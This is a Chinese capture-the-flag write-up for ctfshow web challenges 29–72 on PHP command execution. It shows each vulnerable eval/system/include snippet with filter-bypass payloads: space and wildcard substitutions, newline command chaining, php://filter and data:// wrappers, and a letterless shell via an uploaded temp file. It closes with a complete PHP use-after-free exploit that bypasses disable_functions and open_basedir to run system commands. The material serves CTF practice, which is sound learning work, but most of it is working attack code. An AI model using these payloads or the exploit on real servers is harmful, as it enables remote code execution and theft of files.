提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
常见命令执行函数
- system()
- passthru()
- exec()
- shell_exec()
- popen()
- proc_open()
- pcntl_exec()
知识点:和cat有相同作用的:tac、more、less、head、tail、nl、sed、sort、uniq、rev
- tac:倒过来就是cat,是将文件倒着显示,即文章最后一行显示在最上边
- tail:tail命令是指定显示文件后若干行的内容
- head: 显示前n行的内容
- more:cat命令是整个文件的内容从上到下显示在屏幕上。 more会以一页一页的显示方便使用者逐页阅读
- less:也是对文件或其它输出进行分页显示的工具
- nl:nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号
web29
没什么限制因此 直接
?c=system('cat f*');
web30
知识点: system过滤
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这些是我构造的playload
利用echo
?c=echo `cat f*`;
或者利用拼接
?c=eval($_GET[1]);&1=system('cat flag.php');
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤了许多下面是我构造的playload
- 方法1 : system+cat+空格绕过
echo代替system
cat相同作用cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
linux中空格可以由 %09(tab) ,<,<>,%20来代替
?c=echo`more%09f*`;
- 方法2:利用拼接完成 1=后面的会被执行并且不会被过滤
?c=eval($_GET[1]);&1=system('cat falg.php');
web32-36
这题过滤多了 sort ,echo ; ` 等等
;分号可以用?>绕过
()括号可以用""双引号来绕过
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我的playload
利用了php为协议
php://filter/read=convert.base64-encode.resource=文件名
最后回显会是base64 解码即可
同理也可以用post来进行
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web37-38
这题看到include想到了文件上传
那么应该用文件上传的方式来解决问题这里就需要用php伪协议
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里用php伪协议来构造playload
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
这段base64的意思是 <?php system("cat flag.php");?>因此还可以
?c=data://text/plain,<?php system("cat fla*");?> (这里发现38用不了 搞不懂什么原因求大神指导)
web39
这里比38就多了个.php后缀 php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
构造playload
不知道为啥不可以用base64编码请大神指教
?c=data://text/plain,<?php system('cat f*');?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==(为什么这个无法使用)
web40
这道题过滤了$ 还有引号
因此使用读取文件 访问数组的方式来得到flag
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file(): 将文件里面的内容输出
print_r():将内容输出
开始构造playload:
scandir(’.’)表示得到当前目录下的文件
pos(localeconv())=.
scandir(pos(localeconv()))=
发现了flag倒数第二个
prev() - 将内部指针指向数组中的上一个元素,并输出
current() - 返回数组中的当前元素的值
end() - 将内部指针指向数组中的最后一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
next() 函数将内部指针指向数组中的下一个元素,并输出。
因此可以把数组反转array_reverse()找第二个用next(),输出文件内容用highlight_file()
最终playload:
因此可以把数组反转array_reverse()找第二个用next(),输出文件内容用highlight_file()
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web41 不会做 请大佬指点
web 42
知识点:标准输出和错误输出都重定向到了/dev/null,相当于没有了输出,但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令。
1 > /dev/null 语句含义:
1 > /dev/null : 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
; //分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
?c=cat flag.php;
?c=1|cat flag.php;
?c=cat flag.php||1;
web43
这道题过滤了cat 还有 分号;
- cat可替换成ac、more、less、head、tail、nl、sed、sort、uniq、rev
;可以用%0a来进行替换
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
playload:
tac flag.php%0a
more flag.php%0a
head flag.php%0a
and so on
web44
过滤了 flag 用*绕过 其他和43一样
?c=tac%20f*.php%0a
web45
过滤了空格 用linux中空格可以由 %09(tab) , ${IFS},$IFS来代替
?c=tac%09f*.php%0a
?c=more${IFS}f*.php%0a
web 46
过滤了*号可以用问号来代替
?c=more%09fla?.php%0a
web47-49
比以前多过滤了|more|less|head|sort|tail
?c=tac%09f???.php%0a
?c=uniq%09f???.php%0a
?c=nl%09f???.php%0a
web50
多过滤了%和\x09这里就要用别的来代替空格 <或者<>
并且发现问号在这题也不好使了 请大佬指教是为什么
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
playload
?c=tac<>fla‘’g.php%0a
?c=nl<fla''g.php%0a
?c=uniq<fla''g.php%0a
web 51
多过滤了一个 tac
?c=uniq<fla''g.php%0a
?c=nl<fla''g.php%0a
web52-53
把< > 给过滤了 但是把$放出来了
?c=uniq${IFS}fla''g.php%0a
/?c=nl${IFS}fla''g.php%0a
web54
这题利用改写文件名字实现打开flag.php
mv命令是move的缩写,可以用来移动文件或者将文件改名(在linux下) 改的名字不可以有数字
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
playload
先用?c=ls看一下根目录
?c=mv${IFS}fla?.php${IFS}z.txt 更改名字
在ls看一下 flag.php变成了z.txt
现在直接打开z.txt 就可以了
还有一种方法是利用通配符
lag.php 有7个字符
?c=uniq${IFS}f???????因此这个有7个问号 可以访问f开头的这个长度的文件
web55-56
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
空格被放出来了 但是字母没有 这个时候考虑经典的rce
php上传文件时会在执行脚本的过程中把文件放到1个临时上传文件的临时目录 因此选择上传文件
命名规则php5个小写一个大写字母
.在linux可以执行脚本
假设我们自定义一个脚本 就可以用.来执行脚本 由于我们没有执行脚本的地方 因此选择了一个文件上传
下面是上传代码 只需要把url改成需要自己的url就可以了
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://5bec063f-50e0-4d2d-9610-92476951876a.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
随便上传一些文件 然后把文件里面的内容删除
构造请求表单:
因为临时目录是由 tmp/php5个小写字母一个大写字母 构成的 但是我们不知道目录的名字 因此 小写字母可以用通配符来替换 [@-[]是linux下面的匹配符,是进行匹配的大写字母
.在linux可以执行脚本
%20是空格
因此在post第一行哪里 需要构造成
POST /?c=.%20/???/????????[@-[] HTTP/1.1
在图片红色字体哪里修改成
#!/bin/sh或者#!/bin/bash (加不加都可以)
ls 或者任意你想要执行的命令
最后得到flag
参考p神无字母getshell.
解法2:(用于55)
?c=/bin/base64 flag.php
因为字母被过滤因此用通配符来替代
/?c=/???/????64%20????????
web57
题目看到了flag in 36.php 只需要构造出36就可以了
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
$(())=0
~$(())=-0
$((~$(())))=-1
构造36只需要将-37取反+1就可以了
playload
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
or
$(( $((~$(()))) + $((~$(()))) ))也可以
web58-59
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
post传参
首先要看他disable_functions里面都有什么
禁用了
c=phpinfo();
c=system();
用读取文件的方式打开
c=highlight_file('flag.php');
c=show_source('flag.php');
c=readfile('flag.php');(59不可以用)
c=echo file_get_contents('flag.php');(59不可以用)
c=print_r(file('flag.php'));
利用include
c=include($_GET[1]); post命令行
?1=php://filter/convert.base64-encode/resource=flag.php url
web60
c=highlight_file('flag.php');
c=show_source('flag.php');.
利用include
c=include($_GET[1]); post命令行
?1=php://filter/convert.base64-encode/resource=flag.php url
web61-65
可以考虑用 rename
1.利用include
c=include($_GET[1]); post命令行
?1=php://filter/convert.base64-encode/resource=flag.php url
2.函数输出
c=highlight_file('flag.php');
c=show_source('flag.php');
文件包含
3.骚东西
c=include('flag.php');echo $flag;
包含了flag.php 但是不输出 我们知道变量名是flag 输出flag就可以了
4.先把文件包含进去 把里面定义的所有变量输出
var_dump — 打印变量的相关信息
get_defined_vars — 返回由所有已定义变量所组成的数组
c=include('flag.php');var_dump(get_defined_vars());
web66-67
show_source()被禁了
highlight_file()可以执行 但是明显flag这次换了位置 现在就要看flag在哪里
. 表示当前目录
../上一级目录
/根目录
c=print_r(scandir('/'));
或者c=var_dump(scandir('/'));发现根目录有flag.txt
c=highlight_file('/flag.txt'); 拿到flag
web68
highlight_file()被禁用了 说明68之前全部都可以用highlight_file()
c=var_dump(scandir('/'));
文件包含还可以使用 因为txt里没有php标签,那么作为一个html直接显示在页面了
c=include('/flag.txt'); 或者
c=include('/flag.txt');echo $flag;
web69
print_r() var_dump()都被禁了
那么只可以用foreach遍历数组看有什么在目录
c=$a=scandir("/");foreach($a as $value){echo $value." ";}
还是看到了flag.txt
c=include('/flag.txt');
web70
glob() 函数返回匹配指定模式的文件名或目录。
/* 代表 根目录下面全部文件
遍历文件
c=$a=glob('/*');foreach($a as $value){echo $value." ";}
看到flag.txt
c=include('/flag.txt');
web71
index 文件
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
解释:
eval($c) 执行代码
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean(); 清空缓冲区内容
preg_replace("/[0-9]|[a-z]/i","?",$s); 把里面的$s中的/[0-9]|[a-z]替换成?没有输出
思路:在执行文件后提前结束
exit();输出一条消息,并退出当前脚本:
die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名。
playload:
c=$a=glob('/*');foreach($a as $value){echo $value." ";}exit(); 看根目录
c=include('/flag.txt');exit();
or
c=$a=glob('/*');foreach($a as $value){echo $value." ";}die(); 看根目录
c=include('/flag.txt');die();
web72
使用c=var_dump(scandir('/'));exit();发现了open_basedir()这里就需要把open_basedir()绕过
参考这文章php绕过open_basedir限制操作.
查看根目录有什么文件
脚本1
c= $a = "glob:*.txt";if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo "filename:".$file."\n";}closedir($b);}die();
脚本2
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();
发现了flag改了名字教flag0.php 现在要做的操作是打开flag0.php
利用一个绕过安全目录的脚本 来进行绕过 把脚本的内容复制到post里面进行url编码
以下是绕过安全目录脚本
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
url编码后不需要加exit()直接执行就可以看到flag了